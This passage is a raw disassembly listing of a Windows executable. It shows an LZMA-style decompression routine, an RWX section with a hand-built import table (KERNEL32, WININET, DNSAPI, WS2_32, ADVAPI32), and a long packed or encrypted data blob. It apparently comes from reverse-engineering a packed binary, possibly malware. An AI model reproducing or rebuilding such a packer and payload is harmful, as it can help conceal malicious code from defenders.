eax shr edi, 0Bh imul edi, ecx cmp [ebp+0Ch], edi jnb short loc_437799 mov eax, edi mov edi, 800h sub edi, ecx shr edi, 5 add edi, ecx mov ecx, [ebp-2Ch] add edx, edx test esi, esi mov [ecx], edi jnz loc_437819 jmp short loc_4377B2 ; --------------------------------------------------------------------------- loc_437799: ; CODE XREF: .vty:00437778j sub [ebp+0Ch], edi sub eax, edi mov edi, ecx shr edi, 5 sub ecx, edi test esi, esi mov edi, [ebp-2Ch] mov [edi], ecx lea edx, [edx+edx+1] jz short loc_437819 loc_4377B2: ; CODE XREF: .vty:00437797j cmp edx, 100h jl loc_437731 jmp short loc_437821 ; --------------------------------------------------------------------------- loc_4377C0: ; CODE XREF: .vty:0043771Bj ; .vty:0043781Fj cmp eax, 1000000h mov ecx, [ebp-20h] lea edi, [ecx+edx*4] jnb short loc_4377E4 mov esi, [ebp-8] mov ecx, [ebp+0Ch] movzx esi, byte ptr [esi] shl ecx, 8 or ecx, esi shl eax, 8 inc dword ptr [ebp-8] mov [ebp+0Ch], ecx loc_4377E4: ; CODE XREF: .vty:004377CBj mov ecx, [edi] mov esi, eax shr esi, 0Bh imul esi, ecx cmp [ebp+0Ch], esi jnb short loc_437807 mov eax, esi mov esi, 800h sub esi, ecx shr esi, 5 add esi, ecx mov [edi], esi add edx, edx jmp short loc_437819 ; --------------------------------------------------------------------------- loc_437807: ; CODE XREF: .vty:004377F1j sub [ebp+0Ch], esi sub eax, esi mov esi, ecx shr esi, 5 sub ecx, esi mov [edi], ecx lea edx, [edx+edx+1] loc_437819: ; CODE XREF: .vty:00437791j ; .vty:004377B0j ... cmp edx, 100h jl short loc_4377C0 loc_437821: ; CODE XREF: .vty:004377BEj mov esi, [ebp-10h] mov ecx, [ebp+8] inc dword ptr [ebp-10h] cmp dword ptr [ebp-0Ch], 4 mov [ebp-1], dl mov [ecx+esi], dl jge short loc_43783F and dword ptr [ebp-0Ch], 0 jmp loc_4376A8 ; --------------------------------------------------------------------------- loc_43783F: ; CODE XREF: .vty:00437834j cmp dword ptr [ebp-0Ch], 0Ah jge short loc_43784E sub dword ptr [ebp-0Ch], 3 jmp loc_4376A8 ; --------------------------------------------------------------------------- loc_43784E: ; CODE XREF: .vty:00437843j sub dword ptr [ebp-0Ch], 6 jmp loc_4376A8 ; --------------------------------------------------------------------------- loc_437857: ; CODE XREF: .vty:004376E7j sub [ebp+0Ch], ebx mov edx, ecx shr edx, 5 sub ecx, edx mov edx, [ebp-0Ch] sub eax, ebx cmp eax, 1000000h mov [edi], ecx mov ecx, [ebp+10h] lea edx, [ecx+edx*4+300h] jnb short loc_437890 mov edi, [ebp-8] mov ecx, [ebp+0Ch] movzx edi, byte ptr [edi] shl ecx, 8 or ecx, edi shl eax, 8 inc dword ptr [ebp-8] mov [ebp+0Ch], ecx loc_437890: ; CODE XREF: .vty:00437877j mov ecx, [edx] mov edi, eax shr edi, 0Bh imul edi, ecx cmp [ebp+0Ch], edi jnb short loc_4378E2 mov eax, edi mov edi, 800h sub edi, ecx shr edi, 5 add edi, ecx cmp dword ptr [ebp-0Ch], 7 mov ecx, [ebp-18h] mov [ebp-28h], ecx mov ecx, [ebp-1Ch] mov [ebp-18h], ecx mov ecx, [ebp-14h] mov [edx], edi mov [ebp-1Ch], ecx jge short loc_4378CD and dword ptr [ebp-0Ch], 0 jmp short loc_4378D4 ; --------------------------------------------------------------------------- loc_4378CD: ; CODE XREF: .vty:004378C5j mov dword ptr [ebp-0Ch], 3 loc_4378D4: ; CODE XREF: .vty:004378CBj mov ecx, [ebp+10h] add ecx, 0CC8h jmp loc_437ACB ; --------------------------------------------------------------------------- loc_4378E2: ; CODE XREF: .vty:0043789Dj sub [ebp+0Ch], edi sub eax, edi mov edi, ecx shr edi, 5 sub ecx, edi cmp eax, 1000000h mov [edx], ecx mov ecx, [ebp-0Ch] mov edx, [ebp+10h] lea edi, [edx+ecx*4+330h] jnb short loc_43791B mov edx, [ebp-8] mov ecx, [ebp+0Ch] movzx edx, byte ptr [edx] shl ecx, 8 or ecx, edx shl eax, 8 inc dword ptr [ebp-8] mov [ebp+0Ch], ecx loc_43791B: ; CODE XREF: .vty:00437902j mov ecx, [edi] mov edx, eax shr edx, 0Bh imul edx, ecx cmp [ebp+0Ch], edx jnb loc_4379CF mov ebx, 800h sub ebx, ecx shr ebx, 5 add ebx, ecx mov ecx, [ebp-0Ch] add ecx, 0Fh shl ecx, 4 mov [edi], ebx mov edi, [ebp+10h] add ecx, esi cmp edx, 1000000h mov eax, edx lea edi, [edi+ecx*4] jnb short loc_437970 mov ecx, [ebp+0Ch] shl edx, 8 mov eax, edx mov edx, [ebp-8] movzx edx, byte ptr [edx] shl ecx, 8 or ecx, edx inc dword ptr [ebp-8] mov [ebp+0Ch], ecx loc_437970: ; CODE XREF: .vty:00437955j mov ecx, [edi] mov edx, eax shr edx, 0Bh imul edx, ecx cmp [ebp+0Ch], edx jnb short loc_4379BC mov esi, [ebp-10h] mov eax, edx mov edx, 800h sub edx, ecx shr edx, 5 add edx, ecx xor ecx, ecx cmp dword ptr [ebp-0Ch], 7 mov [edi], edx mov edx, [ebp+8] setnl cl lea ecx, [ecx+ecx+9] mov [ebp-0Ch], ecx mov ecx, [ebp-10h] sub ecx, [ebp-14h] inc dword ptr [ebp-10h] mov cl, [edx+ecx] mov [ebp-1], cl mov [edx+esi], cl jmp loc_4376A8 ; --------------------------------------------------------------------------- loc_4379BC: ; CODE XREF: .vty:0043797Dj sub [ebp+0Ch], edx sub eax, edx mov edx, ecx shr edx, 5 sub ecx, edx mov [edi], ecx jmp loc_437AAF ; --------------------------------------------------------------------------- loc_4379CF: ; CODE XREF: .vty:00437928j sub [ebp+0Ch], edx sub eax, edx mov edx, ecx shr edx, 5 sub ecx, edx cmp eax, 1000000h mov edx, [ebp+10h] mov [edi], ecx mov ecx, [ebp-0Ch] lea edx, [edx+ecx*4+360h] jnb short loc_437A08 mov edi, [ebp-8] mov ecx, [ebp+0Ch] movzx edi, byte ptr [edi] shl ecx, 8 or ecx, edi shl eax, 8 inc dword ptr [ebp-8] mov [ebp+0Ch], ecx loc_437A08: ; CODE XREF: .vty:004379EFj mov ecx, [edx] mov edi, eax shr edi, 0Bh imul edi, ecx cmp [ebp+0Ch], edi jnb short loc_437A2C mov eax, edi mov edi, 800h sub edi, ecx shr edi, 5 add edi, ecx mov ecx, [ebp-1Ch] mov [edx], edi jmp short loc_437AA6 ; --------------------------------------------------------------------------- loc_437A2C: ; CODE XREF: .vty:00437A15j sub [ebp+0Ch], edi sub eax, edi mov edi, ecx shr edi, 5 sub ecx, edi cmp eax, 1000000h mov [edx], ecx mov ecx, [ebp-0Ch] mov edx, [ebp+10h] lea edx, [edx+ecx*4+390h] jnb short loc_437A65 mov edi, [ebp-8] mov ecx, [ebp+0Ch] movzx edi, byte ptr [edi] shl ecx, 8 or ecx, edi shl eax, 8 inc dword ptr [ebp-8] mov [ebp+0Ch], ecx loc_437A65: ; CODE XREF: .vty:00437A4Cj mov ecx, [edx] mov edi, eax shr edi, 0Bh imul edi, ecx cmp [ebp+0Ch], edi jnb short loc_437A89 mov eax, edi mov edi, 800h sub edi, ecx shr edi, 5 add edi, ecx mov ecx, [ebp-18h] mov [edx], edi jmp short loc_437AA0 ; --------------------------------------------------------------------------- loc_437A89: ; CODE XREF: .vty:00437A72j sub [ebp+0Ch], edi sub eax, edi mov edi, ecx shr edi, 5 sub ecx, edi mov [edx], ecx mov edx, [ebp-18h] mov ecx, [ebp-28h] mov [ebp-28h], edx loc_437AA0: ; CODE XREF: .vty:00437A87j mov edx, [ebp-1Ch] mov [ebp-18h], edx loc_437AA6: ; CODE XREF: .vty:00437A2Aj mov edx, [ebp-14h] mov [ebp-1Ch], edx mov [ebp-14h], ecx loc_437AAF: ; CODE XREF: .vty:004379CAj xor ecx, ecx cmp dword ptr [ebp-0Ch], 7 setnl cl dec ecx and ecx, 0FFFFFFFDh add ecx, 0Bh mov [ebp-0Ch], ecx mov ecx, [ebp+10h] add ecx, 14D0h loc_437ACB: ; CODE XREF: .vty:004378DDj cmp eax, 1000000h jnb short loc_437AE9 mov edi, [ebp-8] mov edx, [ebp+0Ch] movzx edi, byte ptr [edi] shl edx, 8 or edx, edi shl eax, 8 inc dword ptr [ebp-8] mov [ebp+0Ch], edx loc_437AE9: ; CODE XREF: .vty:00437AD0j mov edx, [ecx] mov edi, eax shr edi, 0Bh imul edi, edx cmp [ebp+0Ch], edi jnb short loc_437B15 mov eax, edi mov edi, 800h sub edi, edx shr edi, 5 add edi, edx shl esi, 5 and dword ptr [ebp-24h], 0 mov [ecx], edi lea ecx, [ecx+esi+8] jmp short loc_437B73 ; --------------------------------------------------------------------------- loc_437B15: ; CODE XREF: .vty:00437AF6j sub [ebp+0Ch], edi sub eax, edi mov edi, edx shr edi, 5 sub edx, edi cmp eax, 1000000h mov [ecx], edx jnb short loc_437B41 mov edi, [ebp-8] mov edx, [ebp+0Ch] movzx edi, byte ptr [edi] shl edx, 8 or edx, edi shl eax, 8 inc dword ptr [ebp-8] mov [ebp+0Ch], edx loc_437B41: ; CODE XREF: .vty:00437B28j mov edx, [ecx+4] mov edi, eax shr edi, 0Bh imul edi, edx cmp [ebp+0Ch], edi jnb short loc_437B7C mov eax, edi mov edi, 800h sub edi, edx shr edi, 5 add edi, edx shl esi, 5 mov [ecx+4], edi lea ecx, [ecx+esi+208h] mov dword ptr [ebp-24h], 8 loc_437B73: ; CODE XREF: .vty:00437B13j mov dword ptr [ebp-20h], 3 jmp short loc_437B9F ; --------------------------------------------------------------------------- loc_437B7C: ; CODE XREF: .vty:00437B4Fj sub [ebp+0Ch], edi mov esi, edx shr esi, 5 sub edx, esi sub eax, edi mov [ecx+4], edx add ecx, 408h mov dword ptr [ebp-24h], 10h mov dword ptr [ebp-20h], 8 loc_437B9F: ; CODE XREF: .vty:00437B7Aj mov edx, [ebp-20h] xor ebx, ebx mov [ebp-2Ch], edx inc ebx loc_437BA8: ; CODE XREF: .vty:00437C01j cmp eax, 1000000h jnb short loc_437BC6 mov esi, [ebp-8] mov edx, [ebp+0Ch] movzx esi, byte ptr [esi] shl edx, 8 or edx, esi shl eax, 8 inc dword ptr [ebp-8] mov [ebp+0Ch], edx loc_437BC6: ; CODE XREF: .vty:00437BADj mov edx, [ecx+ebx*4] mov esi, eax shr esi, 0Bh imul esi, edx cmp [ebp+0Ch], esi jnb short loc_437BEB mov eax, esi mov esi, 800h sub esi, edx shr esi, 5 add esi, edx mov [ecx+ebx*4], esi add ebx, ebx jmp short loc_437BFE ; --------------------------------------------------------------------------- loc_437BEB: ; CODE XREF: .vty:00437BD4j sub [ebp+0Ch], esi sub eax, esi mov esi, edx shr esi, 5 sub edx, esi mov [ecx+ebx*4], edx lea ebx, [ebx+ebx+1] loc_437BFE: ; CODE XREF: .vty:00437BE9j dec dword ptr [ebp-2Ch] jnz short loc_437BA8 mov ecx, [ebp-20h] xor edx, edx inc edx mov esi, edx shl esi, cl mov ecx, [ebp-24h] sub ecx, esi add ebx, ecx cmp dword ptr [ebp-0Ch], 4 mov [ebp-30h], ebx jge loc_437DB5 add dword ptr [ebp-0Ch], 7 cmp ebx, 4 jge short loc_437C2E mov ecx, ebx jmp short loc_437C31 ; --------------------------------------------------------------------------- loc_437C2E: ; CODE XREF: .vty:00437C28j push 3 pop ecx loc_437C31: ; CODE XREF: .vty:00437C2Cj mov esi, [ebp+10h] shl ecx, 8 lea edi, [esi+ecx+6C0h] mov dword ptr [ebp-2Ch], 6 loc_437C45: ; CODE XREF: .vty:00437C9Ej cmp eax, 1000000h jnb short loc_437C63 mov esi, [ebp-8] mov ecx, [ebp+0Ch] movzx esi, byte ptr [esi] shl ecx, 8 or ecx, esi shl eax, 8 inc dword ptr [ebp-8] mov [ebp+0Ch], ecx loc_437C63: ; CODE XREF: .vty:00437C4Aj mov ecx, [edi+edx*4] mov esi, eax shr esi, 0Bh imul esi, ecx cmp [ebp+0Ch], esi jnb short loc_437C88 mov eax, esi mov esi, 800h sub esi, ecx shr esi, 5 add esi, ecx mov [edi+edx*4], esi add edx, edx jmp short loc_437C9B ; --------------------------------------------------------------------------- loc_437C88: ; CODE XREF: .vty:00437C71j sub [ebp+0Ch], esi sub eax, esi mov esi, ecx shr esi, 5 sub ecx, esi mov [edi+edx*4], ecx lea edx, [edx+edx+1] loc_437C9B: ; CODE XREF: .vty:00437C86j dec dword ptr [ebp-2Ch] jnz short loc_437C45 sub edx, 40h cmp edx, 4 mov edi, edx jl loc_437D86 mov ecx, edx sar ecx, 1 and edi, 1 dec ecx or edi, 2 cmp edx, 0Eh mov [ebp-14h], ecx jge short loc_437CD3 shl edi, cl mov ecx, edi sub ecx, edx mov edx, [ebp+10h] lea ebx, [edx+ecx*4+0ABCh] jmp short loc_437D19 ; --------------------------------------------------------------------------- loc_437CD3: ; CODE XREF: .vty:00437CBFj sub ecx, 4 loc_437CD6: ; CODE XREF: .vty:00437D04j cmp eax, 1000000h jnb short loc_437CF4 mov esi, [ebp-8] mov edx, [ebp+0Ch] movzx esi, byte ptr [esi] shl edx, 8 or edx, esi shl eax, 8 inc dword ptr [ebp-8] mov [ebp+0Ch], edx loc_437CF4: ; CODE XREF: .vty:00437CDBj shr eax, 1 add edi, edi cmp [ebp+0Ch], eax jb short loc_437D03 sub [ebp+0Ch], eax or edi, 1 loc_437D03: ; CODE XREF: .vty:00437CFBj dec ecx jnz short loc_437CD6 mov ebx, [ebp+10h] add ebx, 0C88h shl edi, 4 mov dword ptr [ebp-14h], 4 loc_437D19: ; CODE XREF: .vty:00437CD1j xor ecx, ecx inc ecx mov [ebp-20h], ebx mov [ebp-24h], ecx loc_437D22: ; CODE XREF: .vty:00437D84j cmp eax, 1000000h jnb short loc_437D40 mov esi, [ebp-8] mov edx, [ebp+0Ch] movzx esi, byte ptr [esi] shl edx, 8 or edx, esi shl eax, 8 inc dword ptr [ebp-8] mov [ebp+0Ch], edx loc_437D40: ; CODE XREF: .vty:00437D27j mov edx, [ebx+ecx*4] mov esi, eax shr esi, 0Bh imul esi, edx cmp [ebp+0Ch], esi jnb short loc_437D65 mov eax, esi mov esi, 800h sub esi, edx shr esi, 5 add esi, edx mov [ebx+ecx*4], esi add ecx, ecx jmp short loc_437D7E ; --------------------------------------------------------------------------- loc_437D65: ; CODE XREF: .vty:00437D4Ej sub [ebp+0Ch], esi mov ebx, [ebp-20h] sub eax, esi mov esi, edx shr esi, 5 sub edx, esi or edi, [ebp-24h] mov [ebx+ecx*4], edx lea ecx, [ecx+ecx+1] loc_437D7E: ; CODE XREF: .vty:00437D63j shl dword ptr [ebp-24h], 1 dec dword ptr [ebp-14h] jnz short loc_437D22 loc_437D86: ; CODE XREF: .vty:00437CA8j inc edi mov [ebp-14h], edi jz short loc_437DBA mov ebx, [ebp-30h] loc_437D8F: ; CODE XREF: .vty:00437DB8j mov ecx, [ebp-10h] inc ebx sub ecx, edi inc ebx add ecx, [ebp+8] loc_437D99: ; CODE XREF: .vty:00437DAEj mov dl, [ecx] mov esi, [ebp-10h] mov edi, [ebp+8] dec ebx inc dword ptr [ebp-10h] inc ecx test ebx, ebx mov [ebp-1], dl mov [edi+esi], dl jnz short loc_437D99 jmp loc_4376A8 ; --------------------------------------------------------------------------- loc_437DB5: ; CODE XREF: .vty:00437C1Bj mov edi, [ebp-14h] jmp short loc_437D8F ; --------------------------------------------------------------------------- loc_437DBA: ; CODE XREF: .vty:00437D8Aj mov eax, [ebp-10h] leave retn 0Ch ; --------------------------------------------------------------------------- align 400h _vty ends ; Section 2. (virtual address 00038000) ; Virtual size : 00011000 ( 69632.) ; Section size in file : 00011000 ( 69632.) ; Offset to raw data for section: 00038000 ; Flags E0000000: Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _vty segment para public 'CODE' use32 assume cs:_vty ;org 438000h assume es:nothing, ss:nothing, ds:_vty, fs:nothing, gs:nothing dd 7C80B6A1h, 7C80ADA0h, 7C809A51h, 7C809AE4h, 7C801AD0h dd 0 dd 38000h, 2 dup(0) dd 380A4h, 38000h, 38030h, 42C2C8A1h, 0 dd 380F9h, 38030h, 38044h, 76F36C5Bh, 0 dd 38113h, 38044h, 38058h, 71AB615Ah, 0 dd 38129h, 38058h, 3806Ch, 7E41BD76h, 0 dd 38134h, 3806Ch, 38080h, 77DD6BF0h, 0 dd 3814Ch, 38080h, 5 dup(0) dd 4E52454Bh, 32334C45h, 4C4C442Eh, 74654700h, 75646F4Dh dd 6148656Ch, 656C646Eh, 65470041h, 6F725074h, 64644163h dd 73736572h, 72695600h, 6C617574h, 6F6C6C41h, 69560063h dd 61757472h, 6572466Ch, 69560065h, 61757472h, 6F72506Ch dd 74636574h, 4E495700h, 54454E49h, 6C6C642Eh, 746E4900h dd 656E7265h, 65704F74h, 4400416Eh, 5041534Eh, 6C642E49h dd 6E44006Ch, 65755173h, 415F7972h, 32535700h, 2E32335Fh dd 6C6C64h, 52455355h, 642E3233h, 47006C6Ch, 75437465h dd 726F7372h, 736F50h, 41564441h, 32334950h, 6C6C642Eh dd 67655200h, 736F6C43h, 79654B65h, 0 dd 8E962600h, 0BC180000h, 9E4B34BAh, 83C404B9h, 0E21003C9h dd 11726ADFh, 482DE040h, 6D5CB5B3h, 6792A8DEh, 0D23E65C0h dd 0F923315Ah, 0D879C3F2h, 0D9887FC1h, 2C098828h, 0DB3992C0h dd 90253F6Ah, 0A9787B5Eh, 7EF66BE9h, 0F3977F67h, 0E008D2E1h dd 8D2E257Dh, 0D29AA7DBh, 68FD3CAAh, 838585F9h, 4BC8CD9Ch dd 0B725E0h, 0FF39CCA0h, 0B205D4Ah, 0CE406234h, 0A68332DCh dd 57594121h, 3AEE11Bh, 50B9A09Dh, 0C8869026h, 0F8F2E7EAh dd 355F10EEh, 0A731E2A9h, 80B34CB0h, 0B1B18B49h, 4666C93Dh dd 1E26023Bh, 17C6341Ah, 600E2E8h, 5839A380h, 6434906Bh dd 0BE55BC32h, 74978EC6h, 96A16430h, 0F8D71117h, 81B67BA1h dd 48213C24h, 0CA83F0E2h, 7B0C0227h, 0DCE6A8A1h, 0A2C4BA46h dd 3F137E2Bh, 9FB59C3Eh, 0FEA2731Bh, 5E4ABF40h, 0E8CA91F4h dd 0CB485880h, 6B25BF8Fh, 2C7B31EAh, 1F8B5F9Ah, 8EA6F7B0h dd 0C5C2AAF0h, 1C7BD42Dh, 1DC724F1h, 94C8944Eh, 6C3FA044h dd 0ABE6389Ch, 8361FF3Fh, 80000050h, 0F83D0002h, 57000000h dd 640FC9Fh, 0C79E534h, 0C441A4C1h, 0DBE0158Ah, 0AD0C4220h dd 0F1A4DA8h, 0D8B95382h, 72AFF552h, 0EC313BD7h, 0A6FC6247h dd 0CB98AB7Eh, 0C5E8FD86h, 91B144DBh, 0F4318DCAh, 0A052D8E4h dd 9F2C18A7h, 9E0A06FEh, 2C585DA5h, 25A3B98Bh, 740BA3EEh dd 3CBA1C58h, 71CB9B24h, 3AEB3DBEh, 4CDB139Ch, 0F53139E8h dd 9A76D5D8h, 8CBB9489h, 45D882A7h, 7B3CDFE3h, 7347C49Fh dd 43268A33h, 0C232809Ah, 49F25603h, 41B95CCCh, 0BBE26F60h dd 0BC222E52h, 142E4CCEh, 0A74F1D22h, 537BE748h, 0D6BE1D68h dd 83D47D02h, 9BE6E1A0h, 54602C1h, 0CFDF89A2h, 82DAE1A9h dd 0E94EA34Ah, 0DFFFCB6Bh, 8E3CAB6Ch, 693469A1h, 34A1BE5Dh dd 0D6086651h, 0E529B8E0h, 8825EB1Ah, 64B847A2h, 9A58C6h dd 5624D837h, 0B5EC087h, 44CB1516h, 2B5AECC6h, 0A14F42F4h dd 0AD1028E2h, 46E9127Fh, 85AC7EBCh, 4BDBA16Ah, 0E06D687h dd 0D2D9E761h, 6ED701C2h, 0AB242C92h, 1AE223D2h, 1A820EEBh dd 7BF50F24h, 59D62B7Fh, 7CFF023Fh, 0C38C1FEh, 80DE4C89h dd 0B4B8E3C5h, 5CC9871Fh, 7A5A039h, 0F358A597h, 24D8FD56h dd 9E7C4DA9h, 7297174h, 74BEAE2Eh, 0C2794936h, 88A64D8Bh dd 2BB4DDF3h, 997036DBh, 0D8A2E926h, 0FB0229A3h, 5437C69Ah dd 0F5C3A9D5h, 0B7796C02h, 7333F766h, 0A59BBFDDh, 0AA81A112h dd 0FE7AB081h, 6E9051DEh, 747DDF76h, 5B32D03Bh, 0CA1EAE35h dd 0DC8DC18h, 0D89C9EC6h, 20917F3Dh, 1482F959h, 0DBFE0ED0h dd 0FCC3526Ah, 18FD47F0h, 77A8D4h, 9AAD6CF9h, 3F628832h dd 0F657AC40h, 82162217h, 92E72FD0h, 9024E42Ch, 0FAA37AF0h dd 0CB88EF5Ch, 0B174AB25h, 8BFFD038h, 15C88BC8h, 8AB4274h dd 82E47412h, 37A20BC1h, 0E74F53E5h, 0E272DABAh, 14FF83F6h dd 3315BC99h, 37FAB61Ah, 1D42DB71h, 5D61548Ch, 0B7A0A8FFh dd 507BCA37h, 0ABD39C73h, 1A685EB3h, 4151EF40h, 0F8B13909h dd 3B88BECCh, 0BB957791h, 8DF1B8A2h, 346877B3h, 4D196657h dd 1803B326h, 4DD42654h, 67D76A12h, 0CB6A7705h, 617473E8h dd 83F33523h, 744BC47Bh, 6CF8CD9Fh, 591B0ED1h, 9D1CEA96h dd 0B261D1A9h, 0FEDC798Dh, 74CEEDE7h, 18766DC4h, 0AB3E5E1Ah dd 0C2BF861Ah, 7C3360F3h, 533395BCh, 0C645D04h, 82E8EF7Eh dd 18857C21h, 615DB98Ch, 9A2E357h, 0E3F3C5CEh, 13225E14h dd 0D217B9AEh, 711D6037h, 0FA52126h, 2B8175F0h, 0FF5035F7h dd 0E8E29BE6h, 7C7FE5CBh, 0F77B0C4Ah, 7DAA7FA6h, 0C851404Fh dd 1287FA25h, 0C4B04ABEh, 5FEA35D1h, 3917997h, 0CF4B45F6h dd 6FED2C53h, 0F8E4BF72h, 0CC21F1F7h, 1B76F17h, 0FAA669E1h dd 189AD9EDh, 0A800BA3Fh, 19D45E36h, 168C0A52h, 0F1244488h dd 3952D650h, 0EAEA7713h, 0EB54693Eh, 732CB306h, 4295D4B0h dd 143D2D9Eh, 0E45981B3h, 0BD7088BFh, 7B95D97Dh, 1878F466h dd 9F449012h, 23F636D2h, 17D183A9h, 0EDB23C2Eh, 0A7267877h dd 42FD4B78h, 0A0118471h, 8EAFED0Eh, 0A357864Ch, 2A831786h dd 0BF13D477h, 129F6FFBh, 65ECE241h, 0DAF8E667h, 5AA0CCFFh dd 3A49AEBh, 0E587611Dh, 0D2D3EF36h, 287DB87h, 644CF13Bh dd 83D7F6B9h, 0A214E2BEh, 6B6D446Eh, 0B0D14FBDh, 7DC296DFh dd 0C7E58401h, 0C8A13EBCh, 1BBDC28Fh, 0C2F79AF5h, 0B191302Ah dd 0F3F8029Ch, 45EA40D1h, 0BF3CA961h, 0DCBEA8C7h, 0E66E807Dh dd 0CBD735B3h, 6DC7F7EFh, 8D77F5BAh, 0E54A7897h, 560C3A24h dd 60DD1D72h, 1AD1D7CCh, 0A1D59457h, 19FAF5AEh, 296AD579h dd 0A3CB64E3h, 0A82A746Eh, 4AC241EEh, 0D308C894h, 161CBF18h dd 0D9AC403Dh, 0E87F7263h, 97782DDEh, 5867C65Fh, 3C1FDBC9h dd 0F57E8F45h, 0E32652E6h, 3955D536h, 0C2E71FBFh, 38B5781Bh dd 0C06A9E52h, 0FA03B502h, 5181F64h, 86A19B61h, 458F6F53h dd 81DE50A2h, 0FAB0843Bh, 9A9EDA32h, 6AC1995h, 551586EBh dd 5E2AB144h, 5642EA56h, 0D3C60E97h, 253B0C80h, 4E5F5211h dd 0B7E904B8h, 31DC5F4Ch, 0FA694545h, 6260AABDh, 466DB784h dd 0DC8F5537h, 0A33FB7BBh, 5586E6EEh, 4B86649Ch, 1D5CD881h dd 0F310932Ch, 43BDDC4h, 0BFE6BD9Ah, 5F67163Bh, 98EAF484h dd 240B02E2h, 359412A2h, 9982D441h, 76C7677Eh, 80501B6Eh dd 4AA7D325h, 0CE7789F9h, 0A2C2F0BAh, 2862AF92h, 51D57A65h dd 3D784C48h, 0CF147BB9h, 827A8953h, 8199A382h, 0F3FE4E0h dd 0C7456F00h, 7ACB082Eh, 3F517B17h, 325720CBh, 25451CFEh dd 52BC4D96h, 0B1EC7B67h, 757110D6h, 0DCFE1B9Ch, 4B074961h dd 2865C181h, 3058A799h, 0D9E0C030h, 90E945ADh, 0A40FEA6Bh dd 162C10F1h, 59307C39h, 55C36B82h, 53929DC5h, 0DF03830Ch dd 70517214h, 9A5E91B6h, 90866344h, 0CB53A440h, 0EABB1DDEh dd 0A4F980Dh, 20A0B74h, 0FA9D09Eh, 0DB498A13h, 0F5A79230h dd 66CCABD9h, 5B68A6F6h, 0A93DB4Bh, 0DDEBE36Eh, 99A5D9B4h dd 2D138CBAh, 0A320F402h, 0E04B37F8h, 796CF687h, 0B5353687h dd 0E2014A3Eh, 722FE106h, 840F1789h, 9B23FE11h, 22EEBB09h dd 9D5C423Bh, 0A3A586F8h, 0C8C94403h, 55C86248h, 343A0541h dd 0B6B2D16Dh, 83E3DEDFh, 17842023h, 0ECC7F8Eh, 52430E83h dd 7A85A61Ch, 0FA1354B6h, 0A807AB6Ah, 8ADB7333h, 0D2581C84h dd 6C050736h, 2FA72CDBh, 0EE87BACAh, 2EEBDDFFh, 0D3CEBE4Fh dd 0E031975Eh, 7DEF4FC0h, 5F3B7C3Dh, 13F9AAFAh, 0E58E5219h dd 0DF88F6FAh, 7A4BF879h, 0FCB74894h, 4EF7EB91h, 41D8C7D4h dd 1E36677Ch, 507B6BA8h, 4D751AF6h, 0DAEAF7FEh, 9138818Ah dd 89D08E52h, 6CCDD570h, 54A02A25h, 0EEF103AAh, 30D65717h dd 0FC200FEBh, 856BBB27h, 64977136h, 8C91925h, 680402EAh dd 0E0D1D72Eh, 8DD8C2A7h, 0EBE6F397h, 67CA9792h, 0D847B21Eh dd 391DC1ADh, 17CE634Ch, 5D95297Bh, 23C37C47h, 6E07C4DEh dd 15D622FEh, 0AE6B1C39h, 0E28B70C3h, 0BBACBC8Ah, 4D29E2C1h dd 40681BD2h, 26DEB3F3h, 66CF20Eh, 15797E0Fh, 3BE63B90h dd 60596C60h, 9D5495C2h, 70258EABh, 789505Fh, 5AA1C04Ch dd 0B32AECA2h, 4460C232h, 0AF3B2767h, 0DF933AB0h, 5754FD78h dd 0C5EE46ADh, 174E993Eh, 0BB26333Ah, 0E1123E5h, 3CC9D86Dh dd 91776F1Bh, 1BBD026Bh, 4C3906B2h, 2DBC0E55h, 0C88FD53h dd 872A834Dh, 2BCD7D6Fh dd 0BC210025h, 0A2E865B0h, 535977D3h, 1FB5379Ch, 1425D231h dd 1C4D8E0Fh, 3EC1C17Dh, 6ADE48ADh, 3350C3E7h, 5B767AEBh dd 2486F1Dh, 889D3BCBh, 64F60648h, 8DA67AF7h, 0EEE8BC85h dd 73BC1733h, 8A69E30h, 6DB9EF36h, 0D309E699h, 43F8DB84h dd 0CF806754h, 0A182EA42h, 53E0DB3Ah, 7EFDA86Dh, 22417E48h dd 11C98ADBh, 0B9C5F61h, 0E1591409h, 1BEAC4FEh, 6B7ED7A0h dd 0BD27B6BCh, 0E734474Ch, 0C72C647Ch, 5273BDDEh, 9545DA2Ch dd 768DFB17h, 0A61269h, 2FC71B92h, 0FF56334Eh, 8375AB99h dd 75594CB5h, 0F3FDC185h, 0B33ECB7Fh, 5737E6B2h, 125A7F8h dd 8B13F95Eh, 0E11B6627h, 1E602569h, 7F5537E1h, 3687BBC3h dd 642F3CF7h, 0FB97D716h, 245B429Ch, 0AF3CD60h, 67D70408h dd 27F4CA40h, 0A83645C2h, 0E5F67EE4h, 0FC8F01E5h, 1D2EDEC4h dd 0C700C90Bh, 9A5A2800h, 5A83372Fh, 0A8B6A7F9h, 0A48D6DE7h dd 8E5856CDh, 359786BFh, 0AD8B2615h, 0FB19642Dh, 315A6A0Ah dd 1982EF7h, 372B6D15h, 853A353Ah, 30D9AF02h, 0B4D5909Bh dd 3094AB03h, 1641EAF5h, 2EAC739Fh, 0FA4BDEABh, 827FCD23h dd 0D5334734h, 827847CFh, 0F35615C3h, 28228668h, 626B5FA0h dd 0B4EEC7B0h, 0E1DFEB11h, 9FA7F2B9h, 0A22027E8h, 8B23CC09h dd 0D0A7801h, 7DAAFC1Bh, 0BB4936D5h, 0D1F30AA7h, 0C860CC3h dd 55158E2Fh, 6440A09Ch, 0C4BC4285h, 0CCCC1AA0h, 6CC05D6Bh dd 0DF65C686h, 0E97DEE5Ch, 65F51EF6h, 891BE86h, 251AAAD7h dd 5EB6450Ah, 682C2E5Bh, 97849EF5h, 0EFD7994Bh, 0C96A4443h dd 0B070530Ch, 649FD529h, 3A8DCFA9h, 986591C3h, 0DB454B5Dh dd 21376288h, 0F11B24E5h, 8CC15BCDh, 6BB4DD73h, 0F3643700h dd 0A4A481F4h, 0F8197379h, 0F8A85488h, 1EDAB6F2h, 9BDE24D8h dd 3B9C00A4h, 0C69F7159h, 50980698h, 492E00C1h, 30E31FF6h dd 2B31EA89h, 3AE03C5h, 1F9E67BCh, 0EADAA5EDh, 0AB2D7465h dd 0C1BA4148h, 2FD9CA8h, 0EA7D9900h, 375554B0h, 5E7342EEh dd 7EDBEC8Eh, 0A245AB14h, 2B6DD43Fh, 0A4A16323h, 3E5DFE7Ch dd 76903DBDh, 0BC29B383h, 6FA460A8h, 9EDACB46h, 883A5802h dd 33765C78h, 78A01FB6h, 7ABEDC35h, 0E9B33A97h, 53CE8A5Ah dd 